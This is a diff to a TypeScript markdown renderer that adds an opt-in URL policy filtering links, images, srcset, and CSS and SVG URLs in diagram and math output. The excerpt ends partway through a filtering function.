diff --git a/scripts/bundle-size-budget.json b/scripts/bundle-size-budget.json
index dc223e4..7d0c5ff 100644
--- a/scripts/bundle-size-budget.json
+++ b/scripts/bundle-size-budget.json
@@ -13,7 +13,7 @@
   "entries": {
     ".": {
       "file": "dist/index.js",
-      "gzipBudget": 37000
+      "gzipBudget": 39390
     },
     "./inline/emoji": {
       "file": "dist/emoji-shortcodes.js",
diff --git a/src/config.ts b/src/config.ts
index 70c5df5..3940385 100644
--- a/src/config.ts
+++ b/src/config.ts
@@ -21,6 +21,7 @@
 import type { HtmlPolicy } from './html-policy.ts'
 import type { SanitizeExtension, SanitizerBackend } from './sanitize.ts'
 import type { LinkImagePolicy } from './link-image-policy.ts'
+import type { UrlPolicy } from './url-policy.ts'
 import type { TrustedTypesPolicy } from './html-sink.ts'
 import type { LinkDecorator } from './inline-links.ts'
 import type { FenceHandler } from './fence-handlers.ts'
@@ -67,6 +68,17 @@ export interface MarkdownConfig {
   sanitizeExtension?: SanitizeExtension | null
   /** Opt-in link/image origin allowlist; `null` disables it (unrestricted). See link-image-policy.ts. */
   linkImagePolicy?: LinkImagePolicy | null
+  /**
+   * Opt-in host gate consulted for **every** URL this package emits — markdown
+   * links/images/autolinks, raw-HTML passthrough destinations, and the URLs
+   * inside diagram/math markup that bypasses the sink sanitizer. `null` (the
+   * default) disables it and every URL is emitted unchanged.
+   *
+   * Modelled on the `TrustedURL` type Trusted Types dropped (w3c/trusted-types#65):
+   * the scheme allowlist stays a floor a policy cannot lift, and everything above
+   * it is the host's. See url-policy.ts.
+   */
+  urlPolicy?: UrlPolicy | null
   /** Trusted Types policy used to bless sink output; `null` uses the default. See html-sink.ts. */
   trustedTypesPolicy?: TrustedTypesPolicy | null
   /**
diff --git a/src/index.test.ts b/src/index.test.ts
index 8d776b0..8f4e3fb 100644
--- a/src/index.test.ts
+++ b/src/index.test.ts
@@ -28,6 +28,9 @@ const EXPECTED_FUNCTIONS = [
   'hydratePendingDiagrams',
   'hydratePendingMath',
   'renderAnchor',
+  // PROTOTYPE (#url-policy): lets a host run the URL policy over post-sink
+  // markup by hand, through `transformSvg` / `transformHtml`.
+  'filterMarkupUrlsString',
 ] as const
 
 describe('public API barrel (index.ts)', () => {
diff --git a/src/index.ts b/src/index.ts
index 00b9acd..428a9d3 100644
--- a/src/index.ts
+++ b/src/index.ts
@@ -59,6 +59,16 @@ export {
 // sanitizer rather than replacing them. Scope it via
 // `MarkdownConfig.linkImagePolicy`. See docs/EXTENDING.md.
 export { type LinkImagePolicy } from './link-image-policy.ts'
+// PROTOTYPE (#url-policy): the TrustedURL-shaped gate every emitted URL passes
+// through — markdown links/images/autolinks, raw-HTML passthrough destinations,
+// and the URLs inside diagram/math markup that bypasses the sink sanitizer.
+export {
+  type UrlPolicy,
+  type UrlRequest,
+  type UrlSink,
+  type UrlSource,
+} from './url-policy.ts'
+export { filterMarkupUrlsString } from './url-filter-markup.ts'
 // Trusted Types support: every internal `innerHTML` write routes through the
 // html-sink chokepoint, which sanitizes and then blesses the markup with a TT
 // policy when one is active (a lazily created `streaming-markdown` policy by
diff --git a/src/inline-autolinks.ts b/src/inline-autolinks.ts
index 9162f40..a4335bb 100644
--- a/src/inline-autolinks.ts
+++ b/src/inline-autolinks.ts
@@ -2,6 +2,7 @@ import { escapeHtml } from './escape.ts'
 import { INLINE_HTML_SHIELD_RE } from './inline-emphasis.ts'
 import { isAllowedHref } from './inline-links.ts'
 import { encodeHrefForOutput } from './link-references.ts'
+import { applyUrlPolicy, urlPolicyMarkerAttr } from './url-policy.ts'
 
 /**
  * CommonMark URI autolink: `<scheme:...>`. Scheme is an ASCII letter followed by
@@ -37,7 +38,9 @@ function autolinkHref(raw: string): string | null {
 function renderedAutolink(label: string, href: string): string {
   // Label stays raw so the outer `escapeHtmlTextNodes` pass escapes it exactly
   // once; pre-escaping here would double-encode `&` in URLs (`&amp;amp;`, #595).
-  return `<a href="${escapeHtml(href)}">${label}</a>`
+  const decided = applyUrlPolicy(href, 'navigation', 'markdown', 'a', 'href')
+  const hrefAttr = decided === null ? '' : ` href="${escapeHtml(decided)}"`
+  return `<a${hrefAttr}${urlPolicyMarkerAttr()}>${label}</a>`
 }
 
 /**
diff --git a/src/inline-links.ts b/src/inline-links.ts
index e4eb7fd..886fe82 100644
--- a/src/inline-links.ts
+++ b/src/inline-links.ts
@@ -1,5 +1,19 @@
 import { decodeEscapedPunctuationRaw } from './backslash-escapes.ts'
 import { activeConfig } from './config.ts'
+import {
+  applyUrlPolicy,
+  DEFAULT_SAFE_HREF_SCHEMES,
+  getSafeHrefSchemes,
+  isAllowedHref,
+  urlPolicyMarkerAttr,
+  withUrlPolicySuppressed,
+} from './url-policy.ts'
+
+// The scheme allowlist moved to url-policy.ts so the floor can be enforced on
+// every URL path — including the ones that never reach this module (post-sink
+// diagram/math markup) and the value a host policy hands back. Re-exported here
+// because this is where the package's surface has always named it.
+export { DEFAULT_SAFE_HREF_SCHEMES, getSafeHrefSchemes, isAllowedHref }
 import { decodeEscapedHref, escapeHtml } from './escape.ts'
 import { isWorkspaceMarkdownLinkHref } from './workspace-link-href.ts'
 import {
@@ -57,65 +71,18 @@ function lookupWithRenderedLabels(
 }
 
 /**
- * Default URL schemes permitted on a link/image destination. Anything carrying
- * a scheme outside the active set — `javascript:`, `data:`, `vbscript:`,
- * `file:`, and every unknown scheme — is rejected. An allowlist fails *closed*:
- * a new dangerous scheme is blocked by default, unlike a denylist that only
- * knows the three it was told about. Relative/absolute paths, fragments, and
- * query-only destinations carry no scheme and are always allowed.
- */
-export const DEFAULT_SAFE_HREF_SCHEMES: readonly string[] = [
-  'http',
-  'https',
-  'mailto',
-  'tel',
-  'sms',
-  'ftp',
-  'ftps',
-]
-
-const HREF_SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):/
-
-const DEFAULT_SAFE_HREF_SCHEMES_SET: ReadonlySet<string> = new Set(DEFAULT_SAFE_HREF_SCHEMES)
-
-// `config.safeHrefSchemes` is an arbitrary iterable of possibly-mixed-case scheme
-// names; resolve it to a lowercased Set once per distinct config value (the read
-// runs per link/image destination).
-let cachedSchemesSource: Iterable<string> | null | undefined
-let cachedSchemes: ReadonlySet<string> = DEFAULT_SAFE_HREF_SCHEMES_SET
-function activeSafeHrefSchemes(): ReadonlySet<string> {
-  const source = activeConfig().safeHrefSchemes
-  if (source == null) return DEFAULT_SAFE_HREF_SCHEMES_SET
-  if (source !== cachedSchemesSource) {
-    cachedSchemesSource = source
-    cachedSchemes = new Set(Array.from(source, (scheme) => scheme.toLowerCase()))
-  }
-  return cachedSchemes
-}
-
-/**
- * The scheme allowlist currently enforced by {@link safeLinkHref}.
+ * Allowed link destinations: http(s), mailto, and relative/path forms. Rejects
+ * dangerous schemes.
  *
- * @internal Introspection getter that reads the ambient render config; outside
- * a render it returns {@link DEFAULT_SAFE_HREF_SCHEMES}. Not part of the stable v1
- * surface (#147) — scope behaviour via `MarkdownConfig.safeHrefSchemes` instead
- * (the default constant stays stable). Not exported from the package entry since 1.0.
+ * This is a *parse* gate — whether the construct renders as a link at all — and
+ * deliberately does NOT consult the host {@link UrlPolicy}. `linkOrImageEndAt`
+ * calls it to probe link boundaries for the emphasis pass and throws the result
+ * away, so a policy consulted here would see every link twice and would make a
+ * host's decision change how emphasis pairs. The policy applies at the emitters
+ * instead ({@link renderAnchor} / `renderedImage`), where a blocked destination
+ * drops the attribute and keeps the element — the same neutralization the sink's
+ * origin policy performs.
  */
-export function getSafeHrefSchemes(): string[] {
-  return [...activeSafeHrefSchemes()]
-}
-
-/**
- * True when `href` is a relative destination or carries an allowlisted scheme.
- * Exported so angle autolinks share the exact allowlist markdown links use
- * (#139) — autolink destinations are verbatim (no escapes to decode first).
- */
-export function isAllowedHref(href: string): boolean {
-  const scheme = HREF_SCHEME_RE.exec(href)?.[1]
-  return scheme === undefined || activeSafeHrefSchemes().has(scheme.toLowerCase())
-}
-
-/** Allowed link destinations: http(s), mailto, and relative/path forms. Rejects dangerous schemes. */
 export function safeLinkHref(raw: string): string | null {
   // Resolve to the exact string the browser will act on *before* validating:
   // undo source HTML-escaping and PUA-escaped punctuation, then decode HTML
@@ -184,7 +151,12 @@ export function renderAnchor(label: string, href: string, title?: string): strin
   }
   const decorator = activeConfig().linkDecorator ?? neutralLinkDecorator
   const attrs = decorator(decoration)
-  return `<a href="${escapeHtml(href)}"${attrs}>${label}</a>`
+  // A blocked destination leaves the anchor in place without an `href`: the
+  // label stays readable and nothing is navigable, matching how the sink's
+  // origin policy neutralizes an off-origin link.
+  const decided = applyUrlPolicy(href, 'navigation', 'markdown', 'a', 'href')
+  const hrefAttr = decided === null ? '' : ` href="${escapeHtml(decided)}"`
+  return `<a${hrefAttr}${attrs}${urlPolicyMarkerAttr()}>${label}</a>`
 }
 
 function renderedLink(label: string, href: string, title?: string): string {
@@ -207,7 +179,10 @@ function imageAltText(renderedLabel: string): string {
 
 function renderedImage(alt: string, src: string, title?: string): string {
   const titleAttr = title ? ` title="${escapeHtml(title)}"` : ''
-  return `<img src="${escapeHtml(src)}" alt="${escapeHtml(imageAltText(alt))}"${titleAttr} data-md-rendered="1" />`
+  // Blocked: drop the `src` so nothing loads and the `alt` still shows.
+  const decided = applyUrlPolicy(src, 'image', 'markdown', 'img', 'src')
+  const srcAttr = decided === null ? '' : ` src="${escapeHtml(decided)}"`
+  return `<img${srcAttr} alt="${escapeHtml(imageAltText(alt))}"${titleAttr} data-md-rendered="1"${urlPolicyMarkerAttr()} />`
 }
 
 function renderLinkLabel(
@@ -265,7 +240,11 @@ export function linkOrImageEndAt(
   start: number,
   refs: LinkReferenceMap = new Map(),
 ): number | null {
-  return tryParseLinkOrImage(text, start, refs, (label) => label)?.end ?? null
+  // The rendered HTML is discarded here — only the offset matters — so the host
+  // URL policy must not see these destinations (url-policy.ts).
+  return withUrlPolicySuppressed(
+    () => tryParseLinkOrImage(text, start, refs, (label) => label)?.end ?? null,
+  )
 }
 
 /**
diff --git a/src/math.ts b/src/math.ts
index 4cf1855..4f4d8c3 100644
--- a/src/math.ts
+++ b/src/math.ts
@@ -1,4 +1,7 @@
 import { setHostTrustedHtml, type TrustedHTMLValue } from './html-sink.ts'
+import { injectFilteredMarkup } from './url-filter-markup.ts'
+import { withConfig } from './config.ts'
+import type { UrlPolicy } from './url-policy.ts'
 
 // The math-renderer registry (#70): the KaTeX analogue of the pluggable diagram
 // renderer. Like mermaid, the KaTeX *library* is never bundled by this package —
@@ -65,6 +68,12 @@ export interface HydrateMathOptions {
    * will be rejected by the page's CSP.
    */
   transformHtml?: (html: string) => string | TrustedHTMLValue
+  /**
+   * {@link UrlPolicy} to enforce over the backend's HTML before it is injected.
+   * Passed explicitly for the same reason as {@link HydrateDiagramsOptions.urlPolicy}:
+   * hydration runs after the synchronous render scope has been restored.
+   */
+  urlPolicy?: UrlPolicy | null
 }
 
 /** Read a pending element's TeX source (block scaffolding wraps it in `pre.math`). */
@@ -116,7 +125,13 @@ export async function hydratePendingMath(
     // the escaped-source error state; the sink throws before mutating, so the
     // inert source stays visible.
     try {
-      setHostTrustedHtml(el, options.transformHtml ? options.transformHtml(html) : html)
+      const markup = options.transformHtml ? options.transformHtml(html) : html
+      const inject = (): void => {
+        // Filtered node path first — see the note in mermaid.ts markRendered.
+        if (!injectFilteredMarkup(el, markup, 'math')) setHostTrustedHtml(el, markup)
+      }
+      if (options.urlPolicy === undefined) inject()
+      else withConfig({ urlPolicy: options.urlPolicy }, inject)
     } catch {
       markError(el, kind)
       continue
diff --git a/src/mermaid.ts b/src/mermaid.ts
index 79c6c36..8359d29 100644
--- a/src/mermaid.ts
+++ b/src/mermaid.ts
@@ -1,5 +1,8 @@
 import { mermaidSourceCandidates } from './mermaid-source.ts'
 import { setHostTrustedHtml, type TrustedHTMLValue } from './html-sink.ts'
+import { injectFilteredMarkup } from './url-filter-markup.ts'
+import { withConfig } from './config.ts'
+import type { UrlPolicy } from './url-policy.ts'
 
 // PROTOTYPE (#lazy-load): the diagram-renderer registry, the mermaid analogue of
 // the pluggable code highlighter. Unlike highlight.js, the mermaid *library* is
@@ -58,6 +61,19 @@ export interface HydrateDiagramsOptions {
    * will be rejected by the page's CSP.
    */
   transformSvg?: (svg: string) => string | TrustedHTMLValue
+  /**
+   * {@link UrlPolicy} to enforce over the backend's SVG before it is injected —
+   * the mermaid analogue of the sink's link/image gate, and the only thing that
+   * sees a `url()` in an injected `<style>` or an `<img>` inside a
+   * `<foreignObject>`.
+   *
+   * Passed explicitly rather than read from the ambient render config because
+   * hydration runs *after* the synchronous render scope has been restored
+   * (config.ts). `StreamingMarkdownRenderer.hydrate()` forwards its own
+   * `urlPolicy` here; a direct caller that installed one process-wide via
+   * `setDefaultConfig` need not pass it.
+   */
+  urlPolicy?: UrlPolicy | null
 }
 
 /** Read a pending container's diagram source from its `<pre class="mermaid">`. */
@@ -67,9 +83,22 @@ function readDiagramSource(container: Element): string {
 }
 
 function markRendered(container: Element, svg: string | TrustedHTMLValue): void {
+  // Inject BEFORE flipping the state classes: both sinks here can throw (Trusted
+  // Types rejecting a plain-string SVG, or rejecting the filter's own parse), and
+  // the caller then calls markError. Setting `--rendered` first left a container
+  // carrying `--rendered` AND `--error` at once, with conflicting styling.
+  //
+  // Filtered node path first: it decides every URL *before* anything is in a
+  // live document, so an off-origin subresource never gets to start its fetch.
+  if (!injectFilteredMarkup(container, svg, 'diagram')) setHostTrustedHtml(container, svg)
   container.classList.remove('mermaid-diagram--pending')
   container.classList.add('mermaid-diagram--rendered')
-  setHostTrustedHtml(container, svg)
+}
+
+/** Run one injection under an explicitly supplied policy, when the caller passed one. */
+function withUrlPolicy(urlPolicy: UrlPolicy | null | undefined, inject: () => void): void {
+  if (urlPolicy === undefined) inject()
+  else withConfig({ urlPolicy }, inject)
 }
 
 function markError(container: Element): void {
@@ -116,7 +145,9 @@ export async function hydratePendingDiagrams(
       // TrustedHTML — so fail the diagram without re-rendering every
       // candidate just to hit the same sink error.
       try {
-        markRendered(container, options.transformSvg ? options.transformSvg(svg) : svg)
+        withUrlPolicy(options.urlPolicy, () => {
+          markRendered(container, options.transformSvg ? options.transformSvg(svg) : svg)
+        })
         ok = true
         rendered++
       } catch {
diff --git a/src/sanitize.ts b/src/sanitize.ts
index 85799c2..35fa0d6 100644
--- a/src/sanitize.ts
+++ b/src/sanitize.ts
@@ -1,5 +1,11 @@
 import { activeConfig } from './config.ts'
 import { applyLinkImagePolicy } from './link-image-policy.ts'
+import {
+  applyUrlPolicy,
+  hasUrlPolicy,
+  URL_POLICY_MARKER_ATTR,
+} from './url-policy.ts'
+import { sinkForAttribute, URL_ATTR_NAMES, URL_LIST_ATTR_NAMES } from './url-filter-markup.ts'
 import { browserSanitizerBackend, isBrowserSanitizerSupported } from './sanitize-browser.ts'
 
 // Defense-in-depth over the hand-assembled HTML that `renderMarkdown()` emits.
@@ -206,6 +212,47 @@ export interface SanitizeExtension {
 // `id` cannot enable DOM clobbering of arbitrary page-global names.
 const FOOTNOTE_ID_RE = /^(?:fn(?:ref)?-[A-Za-z0-9_-]+|[A-Za-z0-9_-]*footnote-label)$/
 
+// Raw-HTML passthrough is the one population of `<a>`/`<img>` the inline
+// emitters never touched, so the sink is the only place its URLs can be gated.
+// The two populations serialize identically, which is what the marker
+// distinguishes (see URL_POLICY_MARKER_ATTR).
+function gateUrlPolicy(node: Element, tagName: string): void {
+  if (!hasUrlPolicy() || typeof node.getAttribute !== 'function') return
+  if (node.hasAttribute(URL_POLICY_MARKER_ATTR)) {
+    node.removeAttribute(URL_POLICY_MARKER_ATTR)
+    return
+  }
+  // Every URL-bearing attribute, on any element — the same classifier the
+  // post-sink walker uses. Naming `a`/`img` here instead left `srcset` and
+  // `poster` unpoliced whenever a host widened the allowlist to admit them.
+  for (const attr of Array.from(node.attributes)) {
+    const local = (attr.localName || attr.name).toLowerCase()
+    const isList = URL_LIST_ATTR_NAMES.has(local)
+    if (!isList && !URL_ATTR_NAMES.has(local)) continue
+    if (attr.value === '') continue
+    const decided = isList
+      ? filterUrlList(attr.value, tagName, local)
+      : applyUrlPolicy(attr.value, sinkForAttribute(tagName, local), 'markdown', tagName, attr.name)
+    if (decided === null) node.removeAttribute(attr.name)
+    else if (decided !== attr.value) node.setAttribute(attr.name, decided)
+  }
+}
+
+/** Comma-separated candidate list (`srcset`), policed per candidate. */
+function filterUrlList(value: string, tagName: string, local: string): string | null {
+  const kept: string[] = []
+  for (const candidate of value.split(',')) {
+    const trimmed = candidate.trim()
+    if (trimmed === '') continue
+    const space = trimmed.search(/\s/)
+    const url = space === -1 ? trimmed : trimmed.slice(0, space)
+    const descriptor = space === -1 ? '' : trimmed.slice(space)
+    const decided = applyUrlPolicy(url, 'image', 'markdown', tagName, local)
+    if (decided !== null) kept.push(decided + descriptor)
+  }
+  return kept.length === 0 ? null : kept.join(', ')
+}
+
 function gateElement(node: Element, tagName: string): void {
   // The DOMPurify backend's hook also fires for text/comment nodes, which
   // carry no attributes — only real elements have an id to gate.
@@ -224,6 +271,11 @@ function gateElement(node: Element, tagName: string): void {
     node.setAttribute('disabled', '')
     return
   }
+  // Host URL policy (opt-in, off by default) for destinations that did NOT come
+  // from the inline emitters — i.e. raw HTML passed through to the sink, which
+  // never met `safeLinkHref`. Renderer-emitted links carry the marker and were
+  // decided already; consume it so no attacker-visible attribute survives.
+  gateUrlPolicy(node, tagName)
   // Core link/image origin policy (opt-in, off by default) — a no-op unless a
   // policy is installed. Runs before the host hook so the host sees the already
   // origin-vetted `<a>`/`<img>`, and composes with (never replaces) it.
@@ -278,9 +330,12 @@ function buildSanitizerConfig(): SanitizerConfig {
   const allowedTags = extension?.allowedTags
     ? [...ALLOWED_TAGS, ...extension.allowedTags]
     : ALLOWED_TAGS
-  const allowedAttr = extension?.allowedAttr
+  const extensionAttr = extension?.allowedAttr
     ? [...ALLOWED_ATTR, ...extension.allowedAttr]
     : ALLOWED_ATTR
+  // The marker has to survive the backend's attribute filter long enough for the
+  // gate to read it; the gate then removes it, so it never reaches the DOM.
+  const allowedAttr = hasUrlPolicy() ? [...extensionAttr, URL_POLICY_MARKER_ATTR] : extensionAttr
   return { allowedTags, allowedAttr, onElement: gateElement }
 }
 
diff --git a/src/streaming.ts b/src/streaming.ts
index 266a163..26fa54c 100644
--- a/src/streaming.ts
+++ b/src/streaming.ts
@@ -1084,6 +1084,9 @@ export class StreamingMarkdownRenderer {
     if (mathRenderer) {
       const mathOptions: HydrateMathOptions = { renderer: mathRenderer }
       if (options.transformHtml) mathOptions.transformHtml = options.transformHtml
+      // Hydration runs outside the render's config scope, so the policy has to
+      // travel with the options rather than be read from ambient config.
+      if (this.config.urlPolicy != null) mathOptions.urlPolicy = this.config.urlPolicy
       math = await hydratePendingMath(this.host, mathOptions)
     }
     let diagrams = 0
@@ -1091,6 +1094,7 @@ export class StreamingMarkdownRenderer {
     if (diagramRenderer) {
       const diagramOptions: HydrateDiagramsOptions = { renderer: diagramRenderer }
       if (options.transformSvg) diagramOptions.transformSvg = options.transformSvg
+      if (this.config.urlPolicy != null) diagramOptions.urlPolicy = this.config.urlPolicy
       diagrams = await hydratePendingDiagrams(this.host, diagramOptions)
     }
     // Hydration rewrites scaffold elements in place — an out-of-band mutation
diff --git a/src/url-filter-markup.ts b/src/url-filter-markup.ts
new file mode 100644
index 0000000..c1f97a3
--- /dev/null
+++ b/src/url-filter-markup.ts
@@ -0,0 +1,333 @@
+import { applyUrlPolicy, hasUrlPolicy, type UrlSink, type UrlSource } from './url-policy.ts'
+
+// PROTOTYPE (#url-policy): the {@link UrlPolicy} pass over markup that bypasses
+// the sink sanitizer — mermaid SVG and KaTeX HTML, which their libraries produce
+// *after* `sanitizeRenderedMarkdown` and which the origin policy in
+// `link-image-policy.ts` therefore never sees (docs/SECURITY.md, "Trust
+// boundaries"). Real mermaid 11 at its default `securityLevel: 'strict'` emits
+// `<img src>` inside `<foreignObject>` for an HTML label, and an injected
+// `themeCSS` reaches the SVG's `<style>` as a live `url()` — both fetched with no
+// user interaction. Neither `flowchart.htmlLabels: false` nor mermaid's own
+// `dompurifyConfig` stops them, so the filtering has to happen on the way out.
+//
+// LIMITATION, measured (real mermaid 11 in Chromium, nothing injected into the
+// page): `mermaid.render()` fetches the label `<img>` and the themeCSS `url()`
+// ITSELF, because it renders into a temporary live node to measure labels. The
+// first beacon is therefore already gone before a host ever sees the SVG string.
+// This pass stops everything after that — the repeat load, the persistent
+// subresource, the click-through destination, the CSS fetch in the injected
+// document — but it is NOT a defence against the initial exfiltration. That one
+// can only be stopped on the way IN, by controlling the source handed to the
+// backend (`mermaidSourceCandidates`) or by rendering in a sandbox.
+//
+// Two properties this pass has to hold, in order:
+//
+//  1. **Filter before injection, never after.** The moment an off-origin `src`
+//     is in a live document the fetch has already started; removing it after is
+//     theatre. Parsing happens in a `DOMParser` document, which has no browsing
+//     context and therefore loads nothing, and the nodes are only imported into
+//     the live tree once every URL has been decided.
+//  2. **Same-document fragment references must survive.** Every mermaid diagram
+//     carries `url(#…-pointEnd)` marker refs and `<use href="#…">`; a blanket
+//     `url()` block deletes the arrowheads from every graph. `applyUrlPolicy`
+//     passes bare fragments through untouched, so one rule covers both.
+//
+// The node path keeps the markup out of `innerHTML`, but it is NOT yet a
+// Trusted Types story: `DOMParser.parseFromString` is itself a TT sink (the same
+// reason DOMPurify ships its own `dompurify` policy — see docs/EXTENDING.md), so
+// under `require-trusted-types-for 'script'` this parse needs a policy of its
+// own. PROTOTYPE GAP: a real implementation should route it through the
+// html-sink.ts chokepoint, which already owns policy resolution — and unlike
+// mermaid's raw SVG, blessing markup *in order to sanitize it* is exactly what
+// that chokepoint is for.
+
+const CSS_URL_RE = /url\(\s*(['"]?)([^'")]*)\1\s*\)/gi
+// Fallback-path only. The CSSOM pass normalizes every one of these into `url()`,
+// so this list exists for environments with no CSSOM (jsdom, SSR shims) where the
+// raw author syntax is all we get: `@import "…"` (the string form — the
+// `@import url(…)` form is already covered), and the bare strings `image-set()`
+// and its -webkit- alias accept.
+const CSS_IMPORT_STRING_RE = /@import\s+(['"])([^'"]*)\1/gi
+const CSS_IMAGE_SET_RE = /(-webkit-)?image-set\(([^)]*)\)/gi
+const CSS_BARE_STRING_RE = /(['"])([^'"]*)\1/g
+
+// A blocked `url()` cannot simply be emptied: `url("")` resolves to the current
+// document and fetches the page itself. `about:blank` is inert and requests
+// nothing.
+const INERT_CSS_URL = 'url("about:blank")'
+
+/** Elements whose URL attributes are fetched automatically rather than followed. */
+const SUBRESOURCE_TAGS = new Set(['img', 'image', 'use', 'feimage', 'video', 'audio', 'source'])
+
+/**
+ * Attributes carrying a single URL, by lowercased local name. Deliberately
+ * attribute-driven rather than element-driven: classifying the attribute once
+ * covers `<iframe src>`, `<object data>`, `<track src>`, `<input type=image src>`
+ * and `<video poster>` without any of them being enumerated, and means a host
+ * widening `sanitizeExtension` cannot open an unpoliced sink by adding an
+ * element. The element-driven version of the sink gate missed exactly those.
+ */
+export const URL_ATTR_NAMES: ReadonlySet<string> = new Set(['href', 'src', 'poster', 'data'])
+
+/** Attributes carrying a comma-separated candidate list rather than one URL. */
+export const URL_LIST_ATTR_NAMES: ReadonlySet<string> = new Set(['srcset'])
+
+/**
+ * Which sink an attribute represents. `href` is the ambiguous one: on an `<a>`
+ * it is a destination the reader chooses to follow, on `<image>`/`<use>` it is a
+ * subresource the browser fetches on sight.
+ */
+export function sinkForAttribute(tagName: string, attrLocalName: string): UrlSink {
+  if (attrLocalName === 'src' || attrLocalName === 'srcset') return 'image'
+  if (attrLocalName === 'poster' || attrLocalName === 'data') return 'image'
+  return SUBRESOURCE_TAGS.has(tagName) ? 'image' : 'navigation'
+}
+
+/** Rewrite every `url()` in a CSS string through the policy. */
+function filterCssUrls(css: string, source: UrlSource, element: string): string {
+  return css.replace(CSS_URL_RE, (match, _quote: string, raw: string) => {
+    const trimmed = raw.trim()
+    if (trimmed === '') return match
+    const decided = applyUrlPolicy(trimmed, 'style', source, element, 'style')
+    if (decided === null) return INERT_CSS_URL
+    return decided === trimmed ? match : `url("${decided.replace(/"/g, '%22')}")`
+  })
+}
+
+/**
+ * `srcset` is a comma-separated list of `url descriptor` pairs; police each
+ * candidate and drop the ones the policy rejects. Returns `null` when nothing
+ * survives, so the caller removes the attribute entirely.
+ */
+function filterSrcset(value: string, source: UrlSource, element: string): string | null {
+  const kept: string[] = []
+  for (const candidate of value.split(',')) {
+    const trimmed = candidate.trim()
+    if (trimmed === '') continue
+    const space = trimmed.search(/\s/)
+    const url = space === -1 ? trimmed : trimmed.slice(0, space)
+    const descriptor = space === -1 ? '' : trimmed.slice(space)
+    const decided = applyUrlPolicy(url, 'image', source, element, 'srcset')
+    if (decided !== null) kept.push(decided + descriptor)
+  }
+  return kept.length === 0 ? null : kept.join(', ')
+}
+
+/**
+ * Filter a `<style>` element's URLs, preferring the CSSOM over pattern matching.
+ *
+ * CSS has many ways to name a URL — `url()`, `@import "…"`, `@import url(…)`,
+ * `image-set("…")`, `-webkit-image-set`, a custom property holding any of them —
+ * and a regex over them is a losing game; two of those forms slipped past the
+ * pattern-matching version of this function and fetched. The CSS parser already
+ * knows all of them, so let it do the work ({@link parseCssInert}): `@import`
+ * surfaces structurally as `CSSImportRule.href` in BOTH syntaxes, and every
+ * other form is normalized into `url()` on serialization (`image-set("x")`
+ * comes back as `image-set(url("x"))`). That collapses the whole family down to
+ * one shape to scan for.
+ *
+ * Round-tripping through the CSSOM also drops any rule the parser cannot
+ * understand, which is the posture this package takes everywhere else: what we
+ * cannot inspect does not ship. It does mean exotic-but-harmless CSS can be
+ * dropped from a diagram's theme — acceptable for machine-generated styling,
+ * and the reason this only runs when a policy is installed.
+ *
+ * Environments with no `CSSStyleSheet` at all fall back to scanning the raw text
+ * for each author syntax. Nothing fetches in such an environment anyway; the
+ * fallback matters because its output may later be served to a browser.
+ */
+function filterStyleElement(el: Element, source: UrlSource): void {
+  const css = el.textContent
+  if (css === null || css === '') return
+  const sheet = parseCssInert(css)
+  if (sheet === null) {
+    el.textContent = filterCssTextFallback(css, source)
+    return
+  }
+  // `@import` carries its URL as a property rather than a token, and in whichever
+  // syntax it was written. Walk backwards so deleting cannot shift a pending index.
+  for (let i = sheet.cssRules.length - 1; i >= 0; i--) {
+    const href: unknown = (sheet.cssRules[i] as CSSImportRule | undefined)?.href
+    if (typeof href !== 'string' || href === '') continue
+    const decided = applyUrlPolicy(href, 'style', source, 'style', '@import')
+    if (decided === href) continue
+    sheet.deleteRule(i)
+    if (decided === null) continue
+    try {
+      // Honour a rewrite at the original index, so `@import`-comes-first holds.
+      sheet.insertRule(`@import url("${decided.replace(/"/g, '%22')}");`, i)
+    } catch {
+      // A rewrite the parser rejects is dropped, never smuggled through.
+    }
+  }
+  // Serialization has normalized every remaining URL form into `url()`, so one
+  // scan finishes the job.
+  el.textContent = filterCssUrls(
+    Array.from(sheet.cssRules, (rule) => rule.cssText).join(''),
+    source,
+    'style',
+  )
+}
+
+/**
+ * Parse CSS with the engine's own parser, without a document.
+ *
+ * A constructible stylesheet is the right primitive here. Browsers do build
+ * CSSOM for a `DOMParser` document — Chromium populates `style.sheet` on the
+ * inert parse — but jsdom only does so for a window-backed document, so relying
+ * on `style.sheet` would make this a browser-only branch that the Node suite
+ * could never execute. `new CSSStyleSheet()` needs no document at all and exists
+ * in both, so the same code path runs everywhere.
+ *
+ * The two engines shed the dangerous forms differently and both end up safe:
+ * Chromium drops `@import` outright (per the CSSOM spec, `replaceSync` ignores
+ * it) so it can never resolve; jsdom keeps it as a `CSSImportRule`, where the
+ * caller's rule walk decides it. Conversely jsdom drops an `image-set()` it
+ * cannot parse, while Chromium normalizes it into `url()`. Either way no URL
+ * survives unexamined — which is the property that matters, and is asserted
+ * end-to-end in url-policy-coverage.test.ts.
+ */
+function parseCssInert(css: string): CSSStyleSheet | null {
+  if (typeof CSSStyleSheet !== 'function') return null
+  try {
+    const sheet = new CSSStyleSheet()
+    sheet.replaceSync(css)
+    return sheet
+  } catch {
+    // No constructible-stylesheet support, or CSS the engine refuses wholesale.
+    return null
+  }
+}
+
+/** No-CSSOM path: scan each author syntax directly. See {@link filterStyleElement}. */
+function filterCssTextFallback(css: string, source: UrlSource): string {
+  const withImports = css.replace(CSS_IMPORT_STRING_RE, (match, quote: string, raw: string) => {
+    const decided = applyUrlPolicy(raw.trim(), 'style', source, 'style', '@import')
+    if (decided === null) return '@import ""'
+    return decided === raw ? match : `@import ${quote}${decided}${quote}`
+  })
+  const withImageSets = withImports.replace(
+    CSS_IMAGE_SET_RE,
+    (match: string, prefix: string | undefined, args: string) => {
+      const filtered = args.replace(CSS_BARE_STRING_RE, (m, quote: string, raw: string) => {
+        const decided = applyUrlPolicy(raw.trim(), 'style', source, 'style', 'image-set')
+        if (decided === null) return `${quote}about:blank${quote}`
+        return decided === raw ? m : `${quote}${decided}${quote}`
+      })
+      return filtered === args ? match : `${prefix ?? ''}image-set(${filtered})`
+    },
+  )
+  return filterCssUrls(withImageSets, source, 'style')
+}
+
+/**
+ * Apply the active {@link UrlPolicy} to every URL under `root` — attribute URLs
+ * (`href`, `xlink:href`, `src`, `srcset`, `poster`), `url()` inside `style`
+ * attributes, and `url()` inside `<style>` element text.
+ *
+ * A blocked URL is *removed* rather than rewritten to a placeholder: a dead
+ * `<a>` still shows its label, and a stripped `src` still shows its `alt`, which
+ * is the same neutralization `link-image-policy.ts` performs at the sink.
+ */
+export function filterMarkupUrls(root: ParentNode, source: UrlSource): void {
+  for (const el of root.querySelectorAll('*')) {
+    const tagName = el.tagName.toLowerCase()
+
+    if (tagName === 'style') {
+      filterStyleElement(el, source)
+      continue
+    }
